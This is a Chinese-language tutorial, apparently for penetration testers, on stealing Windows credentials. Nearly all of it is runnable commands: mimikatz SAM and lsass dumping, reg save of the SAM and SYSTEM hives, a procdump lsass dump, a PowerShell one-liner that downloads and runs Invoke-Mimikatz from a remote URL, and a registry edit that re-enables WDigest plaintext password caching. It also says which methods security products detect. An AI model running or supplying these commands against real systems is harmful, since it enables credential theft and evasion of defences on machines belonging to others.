从上面的两个思路开始,我们利用mimkatz工具作为辅助,来抓取本地用户的hash。
https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump
lsadump::sam
此命令可以转存储SAM数据库,里面包含了本地用户的密码hash。
它有两种工作模式:online
and offline
。
online工作模式:需要用户具备SYSTEM权限或使用模拟的SYSTEM令牌,否则将会产生拒绝访问报错:
下面通过使用模拟SYSTEM令牌(token::elevate)进行演示:
privilege::debug token::elevate lsadump::sam
privilege::debug
获得debug权限。
token::elevate
模拟一个system令牌。
offline模式:获取当前系统的SAM数据库文件,在另一系统下进行读取。Win2000和XP需要先提到SYSTEM,03开始直接可以reg save。
导出SAM数据库文件有以下两种实现方法:
reg save hklm\sam sam.hiv reg save hklm\system system.hiv
文件保存在执行命令的目录:
C:\Windows\System32\config\SYSTEM C:\Windows\System32\config\SAM
默认无法复制:
需要借助工具:https://github.com/3gstudent/NinjaCopy
导出SAM数据库后,把文件放置mimikatz目录下:
执行命令:
lsadump::sam /sam:sam.hiv /system:system.hiv
online模式:使用简单,但是特征明显,通常会被安全产品拦截。
offline模式:导出的文件大,效率低,但是安全。
pwdump7
下载地址:
powershell
下载地址:
下载后本地执行:
powershell Import-Module .\Invoke-PowerDump.ps1;Invoke-PowerDump
QuarkPwDump
https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa
该模块从lsass.exe的内存中提权hash,需要具备下面的条件之一:
下面通过privilege::debug进行演示:
privilege::debug log sekurlsa::logonpasswords
会在当前shell运行的目录下生成mimikatz.log
:
mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit
缺点也非常明显,通常会被安全产品拦截。
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
或者下载本地执行:
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "log" "sekurlsa::logonPasswords full"'
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
会在当前目录生成lsass.dmp文件:
然后从lsass.dmp文件导出凭证,通过mimikatz完成:
mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
工作原理以及bypass:
通过API MiniDumpWriteDump()
获得lsass.exe进程的dmp文件。
明文密码问题:
为什么有的抓不到明文密码,主要还是kb2871997的问题。kb2871997补丁会删除除了wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用。
但是用户可以手动开启:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f